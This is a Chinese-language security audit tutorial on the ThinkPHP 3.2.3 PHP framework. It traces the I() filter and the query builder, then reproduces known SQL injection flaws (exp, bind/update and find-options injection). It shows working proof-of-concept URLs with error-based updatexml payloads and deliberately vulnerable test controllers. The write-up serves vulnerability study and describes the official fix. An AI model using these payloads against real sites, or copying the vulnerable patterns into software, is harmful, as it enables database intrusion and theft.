ThinkPHP v3.2.3代碼審計


## 前言

ThinkPHP 是國內著名的 php開發框架,基於MVC模式,最早誕生於2006年初,原名FCS,2007年元旦正式更名為ThinkPHP。

本文主要分析 ThinkPHP v3 的程序代碼,通過對 ThinkPHP v3 的結構分析、底層代碼分析、經典歷史漏洞復現分析等,學習如何審計 MVC 模式的程序代碼,復現 ThinkPHP v3 的系列漏洞,總結經驗,以后遇到 ThinkPHP v3 的代碼能夠獨立審計,抓住重點。即使不想對 ThinkPHP v3 代碼做過多了解的小伙伴通過本文也能對TP3程序的漏洞有個清晰的認識。

ThinkPHP v3.x 系列最早發布於2012年,於2018年停止維護,其中使用最多的是在2014年發布的3.2.3,本文審計代碼也是這個版本。也許TP 3現在很少能見到了,但通過對TP 3的代碼分析,能更好入門 MVC 模式的程序代碼審計

后面將深入學習審計 Thinkphp 5.x

ThinkPHP3.2.3完全開發教程:https://www.kancloud.cn/manual/thinkphp/

下載ThinkPHP3.2.3完整版:https://www.thinkphp.cn/down/610.html

TP3 基礎

下載后,保存到web目錄下, 無需安裝。

目錄結構

初始目錄結構

www  WEB部署目錄(或者子目錄)
├─index.php       入口文件
├─README.md       README文件
├─Application     應用目錄
├─Public          資源文件目錄
└─ThinkPHP        框架目錄

這個時期的默認目錄結構其實是有很大問題的,入口文件index.php和全部程序代碼都放在WEB部署目錄中,這將導致程序中的文件將會被泄露,如訪問 Application/Runtime/Logs/ 下的日志,網上也有對應的爆破腳本,批量獲取程序中的日志文件

框架目錄ThinkPHP的結構:

image-20220113105020179

入口文件

ThinkPHP采用單一入口模式進行項目部署和訪問,無論完成什么功能,一個應用都有一個統一(但不一定唯一)的入口。

image-20220113111004343

模塊設計

第一次訪問入口文件的時候,會顯示默認歡迎頁面,並且自動生成一個默認的應用模塊home

image-20220113112723123

控制器

這里需要注意的是它的命名格式:

Controller前面的字符就是控制器名,如下面的 Index 控制器

image-20220113115634326

image-20220113134058191

image-20220113115645686image-20220113115652482

配置文件

如果能獲取到程序代碼,一般優先看系統的配置文件,能翻到數據庫配置信息這些還是很賺的

另外也可以翻翻模型代碼,可能會有意外收獲(在TP 3中實例化模型的時候可以使用dns連接數據庫)

new \Home\Model\NewModel('blog','think_','mysql://root:1234@localhost/demo');

另外一點需要注意的是,TP3中一個配置文件就可以實現很多信息的配置,如數據庫信息的配置,路由規則配置等都會放在一個文件中。在TP5中則是通過專門的文件去配置不同的需求,如路由配置文件專門負責配置路由,數據庫配置文件專門負責配置數據庫信息

在ThinkPHP中,一般來說應用的配置文件是自動加載的,加載的順序是:

慣例配置->應用配置->模式配置->調試配置->狀態配置->模塊配置->擴展配置->動態配置

以上是配置文件的加載順序,后面的配置會覆蓋之前的同名配置

慣例配置

慣例重於配置是系統遵循的一個重要思想,框架內置有一個慣例配置文件(位於ThinkPHP/Conf/convention.php

應用配置

應用配置文件也就是調用所有模塊之前都會首先加載的公共配置文件(默認位於Application/Common/Conf/config.php

模塊配置

每個模塊會自動加載自己的配置文件(位於Application/當前模塊名/Conf/config.php)。

測試:

下面為應用配置一個數據庫信息:

Application/Common/Conf/config.php

image-20220113151544407

驗證一下:

image-20220113152604504

具體為什么這樣寫,后面介紹,涉及到TP框架的路由和快捷方法。

在上面配置文件中再增加一個數據庫的調試配置:

'SHOW_PAGE_TRACE'=>true

這樣再訪問就會有一些調試信息:

image-20220113153031310

路由

URL規則:

默認情況下可以使用PATHINFO模式、普通模式進行url訪問

一個典型的URL訪問規則是 (pathinfo模式)

http://serverName/index.php(或者其他應用入口文件)/模塊/控制器/操作/[參數名/參數值...]

image-20220113174141110

image-20220113174544224

公共模塊是一個特殊模塊,訪問所有的模塊之前都會首先加載公共模塊下的配置文件(Application/Common/conf/config.php)和公共函數文件(Application/Common/Common/function.php)。但是公共模塊本身不能通過URL直接訪問。

除了上面的PATHINFO模式(默認),thinkPHP還支持其他幾種URL模式,可以通過設置URL_MODEL參數改變URL模式:

image-20220113181031616

普通模式:

使用GET傳參的方式來指定當前訪問的模塊和操作

http://localhost/?m=home&c=user&a=login&var1=value1&var2=value2

image-20220113181405232

REWRITE模式:

在PATHINFO的基礎上去掉入口文件

image-20220113181853977

兼容方式

例如:

http://servername/index.php?s=/index/Index/index

其中變量s的名稱的可以配置的。

路由轉發:

TP3 具有路由轉發的功能,具體路由規則在應用或者模塊配置文件中,上面有提及這兩個文件的位置

配置方式如下:

// 開啟路由
'URL_ROUTER_ON'   => true,
// 路由規則
'URL_ROUTE_RULES'	=> array(
    'news/:year/:month/:day' => array('News/archive', 'status=1'),
    'news/:id'               => 'News/read',
    'news/read/:id'          => '/news/:1',
),

image-20220113201615540

如果路由規則位於應用配置文件,路由規則則作用於全局。如果路由規則位於模塊配置文件,則只作用於當前模塊,在訪問對應路由時要加上模塊名,如在home模塊配置文件定義了如上的路由,訪問方式為http://test.com/home/news/123

命名空間:

TP3.2全面采用命名空間方式定義和加載類庫

PHP命名空間:https://www.php.net/manual/zh/language.namespaces.php

image-20220113185600279

快捷方法

TP 3 對一些經常使用操作封裝成了快捷方法,目的在於使程序更加簡單安全

在TP 3官方文檔中並沒有做系統的介紹,不過在TP 5中就有系統整理,並且還給了一個規范命名:助手函數。

快捷方法一般位於ThinkPHP/Common/functions.php,下面介紹幾個

I方法

PHP 程序一般使用$_GET, $_POST等全局變量獲取外部數據, 在ThinkPHP封裝了一個I方法可以更加方便和安全的獲取外部變量,可以用於任何地方,用法格式如下:

I('變量類型.變量名/修飾符',['默認值'],['過濾方法或正則'],['額外數據源'])

示例:

echo I('get.id'); // 相當於 $_GET['id']echo I('get.name'); // 相當於 $_GET['name']I('get.'); // 獲取整個$_GET 數組// 采用htmlspecialchars方法對$_GET['name'] 進行過濾,如果不存在則返回空字符串echo I('get.name','','htmlspecialchars');

I方法的所有獲取變量如果沒有設置過濾方法的話都會進行htmlspecialchars過濾,那么:

// 等同於 htmlspecialchars($_GET['name'])I('get.name'); 

I方法的過濾會在下面"安全過濾"部分,詳細介紹

C方法

讀取已有的配置,配置文件里面的數據就可以通過C方法讀取

//	讀取當前的URL模式配置參數$model = C('URL_MODEL');

M方法/D方法

用於數據模型的實例化操作,具體這兩個方法怎么實現,有什么區別,暫時就不多關注了,只用知道通過這兩個快捷方法能快速實例化一個數據模型對象,從而操作數據庫

//實例化模型// 相當於 $User = new \Home\Model\UserModel();$User = D('User');// 和用法 $User = new \Think\Model('User'); 等效$User = M('User');

控制器

一般來說,ThinkPHP的控制器是一個類,而操作則是控制器類的一個公共方法。

控制器類的命名方式:控制器名(駝峰命名法)+Controller

控制器文件的命名方式:類名+class.php(類文件后綴)

例如:

<?phpnamespace Home\Controller;use Think\Controller;class IndexController extends Controller {    public function hello(){        echo 'hello,thinkphp!';    }}

Home\IndexController類就代表了Home模塊下的Index控制器,而hello操作就是Home\IndexController類的hello(公共)方法。

當訪問 http://serverName/index.php/Home/Index/hello 后會輸出:

hello,thinkphp!

參數綁定:

Action參數綁定功能默認是開啟的,其原理是把URL中的參數(不包括模塊、控制器和操作名)和操作方法中的參數進行綁定。

要啟用參數綁定功能,首先確保你開啟了URL_PARAMS_BIND設置:

'URL_PARAMS_BIND'       =>  true, // URL變量綁定到操作方法作為參數

參數綁定有兩種方式:按照變量名綁定(默認)和按照變量順序綁定。

例如:

namespace Home\Controller;use Think\Controller;class BlogController extends Controller{    public function read($id){        echo 'id='.$id;    }    public function archive($year='2013',$month='01'){        echo 'year='.$year.'&month='.$month;    }}

參數名綁定:

http://serverName/index.php/Home/Blog/read/id/5http://serverName/index.php/Home/Blog/archive/year/2013/month/11

變量順序綁定:

'URL_PARAMS_BIND_TYPE'  =>  1, // 設置參數綁定按照變量順序綁定
http://serverName/index.php/Home/Blog/read/5http://serverName/index.php/Home/Blog/archive/2013/11

模型

模型類的作用大多數情況是操作數據表的,如果按照系統的規范來命名模型類的話,大多數情況下是可以自動對應數據表。如定義一個UserModel模型類,默認對應的數據表為think_user(全部小寫)(假設數據庫的前綴定義是 think_):

namespace Home\Model;use Think\Model;class UserModel extends Model {}

模型類的命名規則是除去表前綴的數據表名稱,采用駝峰法命名,並且首字母大寫,然后加上模型層的名稱(默認定義是Model),例如:

image-20220116214203576

模型類通常需要繼承系統的\Think\Model類或其子類。

\Think\Model類:

TP3 實現模型的文件為 ThinkPHP/Library/Think/Model.class.php,文件中定義了ThinkPHP的模型基類\Think\Model類\Think\Model類的屬性一般是不需要設置的,會從配置文件中獲取默認值

//	ThinkPHP/Library/Think/Model.class.phpnamespace Think;class Model {  	// 數據表前綴,如果未定義則獲取配置文件中的DB_PREFIX參數    protected $tablePrefix      =   null;    // 模型名稱    protected $name             =   '';    // 數據庫名稱    protected $dbName           =   '';    //數據庫配置    protected $connection       =   '';    // 數據表名(不包含表前綴),一般情況下默認和模型名稱相同    protected $tableName        =   '';    // 實際數據表名(包含表前綴),該名稱一般無需設置    protected $trueTableName    =   '';  	/*取得DB類的實例對象 字段檢查*/  	public function __construct($name='',$tablePrefix='',$connection='') {        /*數據庫初始化操作          獲取數據庫操作對象          當前模型有獨立的數據庫連接信息*/        $this->db(0,empty($this->connection)?$connection:$this->connection,true);    }  ……

模型實例化:

1)首先通過類名可以直接實例化

實例化上面定義的 UserModel 類

$User = new \Home\Model\UserModel();#Model(['模型名'],['數據表前綴'],['數據庫連接信息']);  三個參數都是可選的$User = new \Home\Model\NewModel('blog','think_','mysql://root:1234@localhost/demo');

2)另外ThinkPHP還提供了快捷方法,用於實例化模型:D方法M方法

D方法

用法如下,參數即為模型的名稱

<?php//實例化模型$User = D('User');// 相當於 $User = new \Home\Model\UserModel();// 執行具體的數據操作$User->select();

\Home\Model\UserModel 類不存在的時候,D函數會嘗試實例化公共模塊下面的 \Common\Model\UserModel 類。

M方法

D方法實例化模型類的時候通常是實例化某個具體的模型類,如果你僅僅是對數據表進行基本的CURD操作的話,使用M方法實例化的話,由於不需要加載具體的模型類,所以性能會更高。

// 使用M方法實例化$User = M('User');// 和用法 $User = new \Think\Model('User'); 等效// 執行其他的數據操作$User->select();

M方法的參數和\Think\Model類的參數是一樣的,也就是說,我們也可以這樣實例化:

$New  = M('new','think_',$connection);// 等效於 $New = new \Think\Model('new','think_',$connection);

image-20220116223656931

3)實例化空模型類

使用原生SQL查詢的話,不需要使用額外的模型類,實例化一個空模型類即可進行操作了,例如:

//實例化空模型$Model = new Model();//或者使用M快捷方法是等效的$Model = M();//進行原生的SQL查詢$Model->query('SELECT * FROM think_user WHERE status = 1');

數據庫操作:

ThinkPHP模型基礎類提供的連貫操作方法(也有些框架稱之為鏈式操作):

假如我們現在要查詢一個User表的滿足狀態為1的前10條記錄,並希望按照用戶的創建時間排序 ,代碼如下:

$User->where('status=1')->order('create_time')->limit(10)->select();#除了select方法必須放到最后一個外(因為select方法並不是連貫操作方法),連貫操作的方法調用順序沒有先后

系統支持的連貫操作方法有:

image-20220116225221259

CURD操作:

數據庫操作的四個基本操作(CURD):創建、更新、讀取和刪除

CURD操作通常是可以和連貫操作配合完成的。

一些常用方法:

field

field方法屬於模型的連貫操作方法之一,主要目的是標識要返回或者操作的字段,可以用於查詢和寫入操作

<?phpnamespace Home\Controller;use Think\Controller;class IndexController extends Controller {    public function index(){        $age = I('GET.age');        $User = M("user"); // 實例化User對象        $User->field('username,age')->where(array('age'=>$age))->find();    }}

執行語句相當於
image.png

where

<?phpnamespace Home\Controller;use Think\Controller;class IndexController extends Controller {    public function index(){        $age = I('GET.age');        $User = M("user"); // 實例化User對象        $User->where(array('age'=>$age))->select();    }}

接着請求
http://127.0.0.1/thinkphp3/index.php?m=Home&c=index&a=index&age=1

image.png

安全過濾機制

I方法的安全過濾

I方法是ThinkPHP用於更加方便和安全的獲取系統輸入變量,可以用於任何地方,用法格式如下:

I('變量類型.變量名/修飾符',['默認值'],['過濾方法或正則'],['額外數據源'])

I方法的使用,可以看上面快捷方法部分。

定位一下I方法,看一下源碼

image-20220120104440692

這里進行了簡化:

function I($name,$default='',$filter=null,$datas=null) {	static $_PUT	=	null;	if(strpos($name,'/')){ // 指定修飾符		list($name,$type) 	=	explode('/',$name,2);	}elseif(C('VAR_AUTO_STRING')){ // 默認強制轉換為字符串        $type   =   's';    }        if(strpos($name,'.')) { // 指定參數來源        list($method,$name) =   explode('.',$name,2);    }else{ // 默認為自動判斷        $method =   'param';    }    switch(strtolower($method)) {        case 'get'     :        	$input =& $_GET;        	break;        case 'post'    :        	$input =& $_POST;        	break;        ……    $data = $input;		$data = $input[$name];    $data = is_array($data) ? array_map_recursive($filter,$data) : $filter($data);    is_array($data) && array_walk_recursive($data,'think_filter');    return $data;}function think_filter(&$value){	// TODO 其他安全過濾	// 過濾查詢特殊字符    if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){        $value .= ' ';    }}

$name參數是一個字符串,前面提到的格式有get.id, post.name/s,I方法就需要對這樣的字符串做解析

首先I方法解析出$name字符串中接收數據的方法$method,數據類型和數據$data

通過$filter方法對$data做過濾,如果你沒有在調用I函數的時候指定過濾方法的話,系統會采用默認的過濾機制(由DEFAULT_FILTER配置),事實上,該參數的默認設置是:

// 系統默認的變量過濾機制'DEFAULT_FILTER'        => 'htmlspecialchars'

同樣,該參數也可以設置支持多個過濾,例如:

'DEFAULT_FILTER'        => 'strip_tags,htmlspecialchars'#表示依次進行這兩種過濾

數據庫操作的安全過濾

通過I方法獲取外部數據默認會做一些安全過濾,上面看到的系統默認配置有htmlspecialchars,這個方法能防御大部分的xss注入。因為現在很多程序會使用預編譯,所以TP5 中一般不采用I方法對外部數據做sql注入的過濾。

所以TP3在數據庫操作上也有自己的安全過濾方式,TP3有自己的預編譯處理方式,在沒有使用預編譯的情況下,TP3才會做類似addslashes這樣的過濾,而TP3中出現的sql注入問題就是在沒有使用預編譯的情況下,忽略了一些該過濾的地方

image-20220120114731782

下面來詳細分析一下

直接使用$GET接收外部變量

構造測試代碼:

<?phpnamespace Home\Controller;use Think\Controller;class IndexController extends Controller {    public function index(){        $username = $_GET['username'];        #$username = I('GET.username');        $User = M("user"); // 實例化User對象        $User->field('username,password')->where(array('username'=>$username))->find();    }}

請求:

http://192.168.111.131/thinkphp_3.2.3_full/index.php/home/index?username=yokan'

image-20220120150925323

可以看到,單引號被轉義了。

image-20220120150301177

調試分析

下面來調試分析一下:

按照鏈式操作的順序,會依次執行field()、where()、find()。

field()

用於處理查詢的字段,這里數據不可控,我們也不關注了

image-20220120151858595

where()

where()用於構造sql語句的where條件語句部分,這是常見的sql注入點。前面提到,模型類提供的where()方法可以接收數組參數或字符串參數$where,然后where()方法將會把相關數據解析到模型對象的options數組屬性中,用於后續拼接完整的sql語句

image-20220120154300345

我們通過數組傳入的username,在where函數並沒有經過過多處理

繼續往下看

find()

find函數里,會解析出options

image-20220120154626845

然后我們跟進select()

image-20220120155017211

繼續跟進

image-20220120155053476

parseSql里會依此執行函數

image-20220120160455542

跟進parseWhere函數

	protected function parseWhere($where) {   //array("username"=>"yokan'")        $whereStr = '';        if(is_string($where)) {            // 直接使用字符串條件            $whereStr = $where;        }else{ // 使用數組表達式            $operate  = isset($where['_logic'])?strtoupper($where['_logic']):'';            if(in_array($operate,array('AND','OR','XOR'))){                // 定義邏輯運算規則 例如 OR XOR AND NOT                $operate    =   ' '.$operate.' ';                unset($where['_logic']);            }else{                // 默認進行 AND 運算                $operate    =   ' AND ';            }            foreach ($where as $key=>$val){                if(is_numeric($key)){                    $key  = '_complex';                }                if(0===strpos($key,'_')) {                    // 解析特殊條件表達式                    $whereStr   .= $this->parseThinkWhere($key,$val);                }else{                    // 查詢字段的安全過濾                    // if(!preg_match('/^[A-Z_\|\&\-.a-z0-9\(\)\,]+$/',trim($key))){                    //     E(L('_EXPRESS_ERROR_').':'.$key);                    // }                    // 多條件支持                    $multi  = is_array($val) &&  isset($val['_multi']);                    $key    = trim($key);                    if(strpos($key,'|')) { // 支持 name|title|nickname 方式定義查詢字段                        $array =  explode('|',$key);                        $str   =  array();                        foreach ($array as $m=>$k){                            $v =  $multi?$val[$m]:$val;                            $str[]   = $this->parseWhereItem($this->parseKey($k),$v);                        }                        $whereStr .= '( '.implode(' OR ',$str).' )';                    }elseif(strpos($key,'&')){                        $array =  explode('&',$key);                        $str   =  array();                        foreach ($array as $m=>$k){                            $v =  $multi?$val[$m]:$val;                            $str[]   = '('.$this->parseWhereItem($this->parseKey($k),$v).')';                        }                        $whereStr .= '( '.implode(' AND ',$str).' )';                    }else{                        $whereStr .= $this->parseWhereItem($this->parseKey($key),$val);                    }                }                $whereStr .= $operate;            }            $whereStr = substr($whereStr,0,-strlen($operate));        }        return empty($whereStr)?'':' WHERE '.$whereStr;    }

跟進parseWhereItem

    protected function parseWhereItem($key,$val) {        $whereStr = '';        if(is_array($val)) {            if(is_string($val[0])) {				$exp	=	strtolower($val[0]);                if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比較運算                    $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);                }elseif(preg_match('/^(notlike|like)$/',$exp)){// 模糊查找                    if(is_array($val[1])) {                        $likeLogic  =   isset($val[2])?strtoupper($val[2]):'OR';                        if(in_array($likeLogic,array('AND','OR','XOR'))){                            $like       =   array();                            foreach ($val[1] as $item){                                $like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item);                            }                            $whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';                                                  }                    }else{                        $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);                    }                }elseif('bind' == $exp ){ // 使用表達式                    $whereStr .= $key.' = :'.$val[1];                }elseif('exp' == $exp ){ // 使用表達式                    $whereStr .= $key.' '.$val[1];                }elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN 運算                    if(isset($val[2]) && 'exp'==$val[2]) {                        $whereStr .= $key.' '.$this->exp[$exp].' '.$val[1];                    }else{                        if(is_string($val[1])) {                             $val[1] =  explode(',',$val[1]);                        }                        $zone      =   implode(',',$this->parseValue($val[1]));                        $whereStr .= $key.' '.$this->exp[$exp].' ('.$zone.')';                    }                }elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ // BETWEEN運算                    $data = is_string($val[1])? explode(',',$val[1]):$val[1];                    $whereStr .=  $key.' '.$this->exp[$exp].' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);                }else{                    E(L('_EXPRESS_ERROR_').':'.$val[0]);                }            }else {                $count = count($val);                $rule  = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ;                 if(in_array($rule,array('AND','OR','XOR'))) {                    $count  = $count -1;                }else{                    $rule   = 'AND';                }                for($i=0;$i<$count;$i++) {                    $data = is_array($val[$i])?$val[$i][1]:$val[$i];                    if('exp'==strtolower($val[$i][0])) {                        $whereStr .= $key.' '.$data.' '.$rule.' ';                    }else{                        $whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' ';                    }                }                $whereStr = '( '.substr($whereStr,0,-4).' )';            }        }else {            //對字符串類型字段采用模糊匹配            $likeFields   =   $this->config['db_like_fields'];            if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) {                $whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%');            }else {                $whereStr .= $key.' = '.$this->parseValue($val);            }        }        return $whereStr;    }

這里,我們的$key是username,$val是 yokan‘ ,於是執行

else {                $whereStr .= $key.' = '.$this->parseValue($val);            }

跟進parseValue

protected function parseValue($value) {    if(is_string($value)) {        $value =  strpos($value,':') === 0 && in_array($value,array_keys($this->bind))? ->escapeString($value) : '\''.$this->escapeString($value).'\'';    }elseif(isset($value[0]) && is_string($value[0]) && strtolower($value[0]) == 'exp'){        $value =  $this->escapeString($value[1]);    }elseif(is_array($value)) {        $value =  array_map(array($this, 'parseValue'),$value);    }elseif(is_bool($value)){        $value =  $value ? '1' : '0';    }elseif(is_null($value)){        $value =  'null';    }    return $value;}

調用escapeString對值進行處理,跟進發現是執行了addslashes函數

    public function escapeString($str) {        return addslashes($str);    }

返回了轉義后的結果

image-20220120164449243

調用棧如下:

image-20220120164554716

如何注入

雖然底層就調用了escapeString,但是我們可以看到parseWhereItem函數

image-20220120171222139image-20220120171421403

在綠色標記的幾個判斷語句里,是沒有調用parseValue函數的,也就不會調用到escapeString
然后我們又可以看到,exp就是val數組的第一個值,這樣的話,如果我們傳入一個數組,並且第一個參數為exp

的話,那么在第二個參數里是不是就可以構造注入語句了。

構造如下payload:

http://127.0.0.1/thinkphp_3.2.3_full/index.php/home/index?username[0]=exp&username[1]==yokan'

image-20220120180704929

image-20220120172443171

利用報錯注入

image-20220120192621427

成功造成注入。

使用I函數接收外部變量

構造測試代碼:

<?phpnamespace Home\Controller;use Think\Controller;class IndexController extends Controller {    public function index(){        $username = I('GET.username');        $User = M("user"); // 實例化User對象        $User->field('username,password')->where(array('username'=>$username))->find();    }}

請求發現報錯了:

image-20220120193233659

跟進調試一下

跟進I函數:

首先獲取method

image-20220120194345660

然后取username值並賦值給data

image-20220120194514864

然后判斷是否設置filters,這里沒有,所以使用了默認的htmlspecialchars

image-20220120194817206

跟進array_map_recursive

image-20220120195311703

array_map — 為數組的每個元素應用回調函數

image-20220120195538391

調用這個call_user_func

也就是對數組中的兩個參數依次調用htmlspecialchars處理,對我們的payload影響不太大,F8那么繼續往后跟

array_walk_recursive — 對數組中的每個成員遞歸地應用用戶函數

image-20220120211147193

跟進think_filter

這里就對一些sql敏感的東西進行了過濾
此時,我們的data[0]exp字符串,這里就匹配了,於是他在exp后面加上了一個空格
也就是'exp '

image-20220120211225772

image-20220120211426730

那么到了parseWhereItem也就進不了exp那個判斷了,直接進入報錯的地方

image-20220120213011508

這樣就不存在注入了

使用字符串條件直接查詢和操作

前面兩個例子,where方法的參數都是數組形式,下面我們使用字符串形式測試下:

<?phpnamespace Home\Controller;use Think\Controller;class IndexController extends Controller {    public function index(){        $username = I('GET.id');        $User = M("user"); // 實例化User對象        $User->field('username,password')->where('id='.I('GET.id'))->find();        #$User->field('username,password')->where("username=$username")->find();    }}
http://127.0.0.1/thinkphp_3.2.3_full/index.php/home/index?id=1

image-20220121144827468

可以看到,直接拼接執行了

image-20220121144921643

所以很容易構造報錯注入:

image-20220121145012633

簡單調試分析一下:

image-20220121151311478

image-20220121151454194

我們輸入的where條件之后拼接上括號,進行查詢,沒有進行任何與SQL注入相關的過濾

image-20220121152001275

總結

使用字符串條件直接查詢和操作,在不使用預處理的條件下,是很容易存在注入問題的。

使用數組條件的where用法,如果接收參數的時候並沒有使用I函數,而是直接接收就傳入M函數並實例化,那么我們注入的可能性就更大

漏洞分析

image-20220121161235476

上面已經分析了 where注入和exp注入。下面再對其他一些重要的漏洞進行分析一下。

在Table及之前的語句,只要參數可控就有注入:

image-20220121172742711

具體可以看 https://www.bilibili.com/video/BV1kk4y1q74o

update注入

數據庫操作的安全過濾一節,我們提到直接使用$GET接收外部變量的情況下,對where() 處傳入的數組參數存在SQL注入漏洞。

當時我們使用的是exp參數,之所以沒有使用bind是因為他會在參數后面自動拼接=:

image-20220122212351824

但是使用I函數接收外部變量的時候,由於過濾了exp,所以就不存在注入了

image-20220122213953107

但是我們可以看到,並沒有過濾bind。所以這一節就是找到一種方法可以消除" : "的影響,最終造成sql注入漏洞。

這里我們關注到save()方法

ThinkPHP的模型基類使用save()方法實現了SQL update的操作

用法:

$User = M("User"); // 實例化User對象// 要修改的數據對象屬性賦值$data['name'] = 'ThinkPHP';$data['email'] = 'ThinkPHP@gmail.com';$User->where('id=5')->save($data); // 根據條件更新記錄

也可以改成對象方式來操作:

$User = M("User"); // 實例化User對象// 要修改的數據對象屬性賦值$User->name = 'ThinkPHP';$User->email = 'ThinkPHP@gmail.com';$User->where('id=5')->save(); // 根據條件更新記錄

我們構造測試代碼來跟一下流程:

    public function index(){        $username = I('GET.username');        $User = M("user"); // 實例化User對象        $data['password'] = '123';        $res = $User->where(array('username'=>$username))->save($data);        var_dump($res);    }
http://127.0.0.1/thinkphp_3.2.3_full/index.php/home/index?username[0]=bind&username[1]=yokan%27

與前面一樣的地方就不細說了...

where()方法上面已經分析過,只需要知道當前model類對象的$options存儲着where字段的數據,$data則是存放的set字段的數據

$data$options是組成sql語句的關鍵,最終將交於db->update()實現

image-20220122232334284

跟進parseSet()

這里做了個參數綁定

image-20220122232737406

image-20220122232757284

image-20220122233653309

image-20220122233721596

parseWhere()

和之前一樣,傳入的參數不會被過濾,只不過進入的是bind 會在where子語句中添加" =: "符號,

image-20220122234003091

image-20220122234053028

$sql為最終解析完成的sql語句如下,交於execute()執行

image-20220122234406385

跟進execute()

public function execute($str,$fetchSql=false) {    $this->initConnect(true);    if ( !$this->_linkID ) return false;    $this->queryStr = $str;    if(!empty($this->bind)){        $that   =   $this;        $this->queryStr =   strtr($this->queryStr,array_map(function($val) ($that){ return ''.$that->escapeString($val).'\''; },$this->bind));    }    if($fetchSql){        return $this->queryStr;    }    //釋放前次的查詢結果    if ( !empty($this->PDOStatement) ) $this->free();    $this->executeTimes++;    N('db_write',1); // 兼容代碼    // 記錄開始執行時間    $this->debug(true);    $this->PDOStatement =   $this->_linkID->prepare($str);    if(false === $this->PDOStatement) {        $this->error();        return false;    }    foreach ($this->bind as $key => $val) {        if(is_array($val)){            $this->PDOStatement->bindValue($key, $val[0], $val[1]);        }else{            $this->PDOStatement->bindValue($key, $val);        }    }    $this->bind =   array();    try{        $result =   $this->PDOStatement->execute();        // 調試結束        $this->debug(false);        if ( false === $result) {            $this->error();            return false;        } else {            $this->numRows = $this->PDOStatement->rowCount();            if(preg_match("/^\s*(INSERT\s+INTO|REPLACE\s+INTO)\s+/i", $str)) {                $this->lastInsID = $this->_linkID->lastInsertId();            }            return $this->numRows;        }    }catch (\PDOException $e) {        $this->error();        return false;    }}

注意這里

strst()將會把占位標記符轉換為 bind 數組中對應的值,這里$bind=[':0'=>'123],那么sql語句中':0'字符會被替換為'123'

image-20220122235158693

strtr — 轉換指定字符 strtr ( string $str , string $from , string $to ) : string

image-20220123000517251

利用的關鍵點來了,我們把where語句最終控制為":0",那么替換時":"將被消除,從而消除了:對注入語句的影響

后面就是通過預編譯執行該語句,可惜其中的占位標記符已經被替換了,在預處理前就已經發生了注入,漏洞產生

POC:

http://127.0.0.1/thinkphp_3.2.3_full/index.php/home/index?username[0]=bind&username[1]=0%20and%20(updatexml(1,concat(0x7e,(select%20database()),0x7e),1))--+

實際執行的SQL語句:

image-20220123001331152

結果:

image-20220123001359558

成功注入

官方修復

前面提到利用I方法獲取輸入時並沒有過濾BIND,導致我們可以進入BIND的邏輯,從而使得我們的數組參數從頭到尾都沒有被過濾。官方便在這一點上做了過濾。所以該漏洞在ThinkPHP<=3.2.3都是存在的

注意:如果沒有使用I方法接收外部數據,那么下面的修復就沒有意義了,這漏洞照樣使用

image-20220123001548010

select&delete注入

這其實是ThinkPHP的一個隱藏用法,在前面提到,ThinkPHP使用where(),field()等方法獲取獲取sql語句的各個部分,然后存放到當前模型對象的$this->options屬性數組中,最后在使用select()這些方法從$this->options數組中解析出對應的sql語句執行。

但在閱讀代碼過程中發現find(),select(),delete()本身可以接收$options數組參數,覆蓋掉$this->options的值。不過這種用法官方文檔並沒有提及,想要遇到這中情況可能還需要開發者們配合,下面看看這個漏洞是怎么產生的,這里分析find()方法

代碼分析

ThinkPHP/Library/Think/Model.class.php

protected $options  =   array();public function find($options=array()) {    if(is_numeric($options) || is_string($options)) {        $where[$this->getPk()]  =   $options;        $options                =   array();        $options['where']       =   $where;    }    // 根據復合主鍵查找記錄    $pk  =  $this->getPk();    if (is_array($options) && (count($options) > 0) && is_array($pk)) {        // 根據復合主鍵查詢        $count = 0;        foreach (array_keys($options) as $key) {            if (is_int($key)) $count++;         }         if ($count == count($pk)) {            $i = 0;            foreach ($pk as $field) {                $where[$field] = $options[$i];                unset($options[$i++]);            }            $options['where']  =  $where;        } else {            return false;        }    }    // 總是查找一條記錄    $options['limit']   =   1;    // 分析表達式    $options            =   $this->_parseOptions($options);    // 判斷查詢緩存    if(isset($options['cache'])){        $cache  =   $options['cache'];        $key    =   is_string($cache['key'])?$cache['key']:md5(serialize($options));        $data   =   S($key,'',$cache);        if(false !== $data){            $this->data     =   $data;            return $data;        }    }    $resultSet          =   $this->db->select($options);    if(false === $resultSet) {        return false;    }    if(empty($resultSet)) {// 查詢結果為空        return null;    }    if(is_string($resultSet)){        return $resultSet;    }    // 讀取數據后的處理    $data   =   $this->_read_data($resultSet[0]);    $this->_after_find($data,$options);    $this->data     =   $data;    if(isset($cache)){        S($key,$data,$cache);    }    return $this->data;}

find()可以接收外部參數$options,官方文檔沒有提及這個用法

getPk()獲取當前的主鍵,默認為'id'

$options為數字類型或字符串類型時,$options['where']將由主鍵和外部數據構成

$options為數組類型時,且主鍵$pk也為數組類型時,將會進入復合主鍵查詢。但一般默認主鍵$pk=id,不為數組

$options最終由_parseOptions()獲取

跟進_parseOptions:

array_merge() 將一個或多個數組的單元合並起來,一個數組中的值附加在前一個數組的后面。返回作為結果的數組。如果輸入的數組中有相同的字符串鍵名,則該鍵名后面的值將覆蓋前一個值

image-20220123010322165

可以看到最終$options將由find()方法傳入的$optionswhere()等方法傳入的$this->options合並完成。

所以如果find()方法傳入的$options可控,那么整個sql語句也可控

我們在使用字符串條件直接查詢和操作一節提到在數據庫底層類中的parsewhere()方法解析where字段時,對字符串參數不會過濾,所以我們控制$options['where']為字符串類型即可

驗證

public function (){  	$id = I('GET.id');    $User = M("user"); // 實例化User對象  	$res = $User->find($id);}
